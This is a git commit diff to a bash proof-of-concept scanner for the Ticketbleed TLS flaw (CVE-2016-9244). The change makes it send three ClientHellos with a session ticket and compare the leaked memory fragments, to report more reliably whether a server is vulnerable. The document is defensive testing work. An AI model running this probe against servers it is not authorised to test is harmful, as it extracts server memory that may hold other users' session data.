changed PoC to a 3 rounder test (like testssl.sh) to increase reliability.

If different memory is returned each try it is for sure vulnerable. This
helps getting weird servers properly tested and weeds out false positives.
This commit is contained in:
Dirk 2017-06-07 18:16:18 +02:00
parent 5bb5c19e63
commit 53b6e2cfe8
1 changed files with 77 additions and 43 deletions

View File

@ -1,6 +1,6 @@
#!/bin/bash
# POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
#
# sockets inspired by http://blog.chris007.de/?p=238
@ -206,6 +206,9 @@ close_socket(){
cleanup() {
close_socket
echo
echo
return 0
}
@ -221,65 +224,96 @@ get_sessticket() {
parse_hn_port "$1"
early_exit=true
declare -a memory sid_detected
nr_sid_detected=0
echo
"$DEBUG" && ( echo )
echo "##### 1) Connect to determine 1x session ticket TLS"
# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
SESS_TICKET_TLS="$(get_sessticket)"
[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
fd_socket $PORT
"$DEBUG" && ( echo; echo )
echo "##### 2) Sending ClientHello (TLS version 03,$TLSV) with this ticket and a made up SessionID"
"$DEBUG" && echo
send_clienthello "$SESS_TICKET_TLS"
echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID"
"$DEBUG" && ( echo; echo )
echo "##### 3) Reading server reply ($HELLO_READBYTES bytes)"
echo
SOCKREPLY=$(sockread $HELLO_READBYTES)
# we do 3 client hellos, and see whether different memmory is returned
for i in 1 2 3; do
fd_socket $PORT
if "$DEBUG"; then
"$DEBUG" && echo "$i"
send_clienthello "$SESS_TICKET_TLS"
"$DEBUG" && ( echo; echo )
[[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo
SOCKREPLY=$(sockread $HELLO_READBYTES)
if "$DEBUG"; then
echo "============================="
echo "$SOCKREPLY"
echo "============================="
fi
if [[ "${SOCKREPLY:0:2}" == "16" ]]; then
echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
echo -n "ServerHello -- "
else
echo -n "Message type: ${SOCKREPLY:10:6} -- "
fi
sid_detected="${SOCKREPLY:88:32}"
if [[ "${SOCKREPLY:0:2}" == "15" ]]; then
echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
echo "${green}OK, not vulnerable ${normal} (TLS alert)"
break
elif [[ -z "${SOCKREPLY:0:2}" ]]; then
echo "${green}OK, not vulnerable ${normal} (zero reply)"
break
elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then
# we need to look into this as some servers just respond as if nothing happened
early_exit=false
"$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
echo -n " ServerHello $i -- "
else
echo -n " Message type: ${SOCKREPLY:10:6} -- "
fi
sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
sid_detected[i]="${SOCKREPLY:88:32}"
memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}"
if "$DEBUG"; then
echo
echo "TLS version, record layer: ${SOCKREPLY:18:4}"
echo "Random bytes / timestamp: ${SOCKREPLY:22:64}"
echo "Session ID: $sid_detected"
#echo "Random bytes / timestamp: ${SOCKREPLY:22:64}"
echo "memory: ${memory[i]}"
echo "Session ID: ${sid_detected[i]}"
fi
if grep -q $sid_input <<< "$sid_detected"; then
echo "${red}VULNERABLE!${normal}"
echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
echo -n "$sid_detected" | sed -e "s/$sid_input/${yellow}$sid_input${normal}${red}/g"
if grep -q $sid_input <<< "${sid_detected[i]}"; then
#echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g"
echo "${normal})"
else
echo -n "not expected server reply but likely not vulnerable"
fi
elif [[ "${SOCKREPLY:0:2}" == "15" ]]; then
echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
echo "${green}OK, not vulnerable${normal}"
else
else
echo "TLS record ${SOCKREPLY:0:2} replied"
echo -n "Strange server reply, pls report"
fi
echo
break
fi
done
echo
if ! "$early_exit"; then
# here we test the replys if a TLS server hello was received >1x
for i in 1 2 3 ; do
if grep -q $sid_input <<< "${sid_detected[i]}"; then
# was our faked TLS SID returned?
nr_sid_detected=$((nr_sid_detected + 1))
fi
done
if [[ $nr_sid_detected -eq 3 ]]; then
if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then
echo "${red}VULNERABLE!${normal}, real memory returned"
else
echo "${green}not vulnerable ${normal} (same memory fragments returned)"
fi
else
echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know"
fi
fi
exit 0
# vim:tw=200:ts=5:sw=5:expandtab
# $Id: ticketbleed.bash,v 1.5 2017/04/16 18:28:41 dirkw Exp $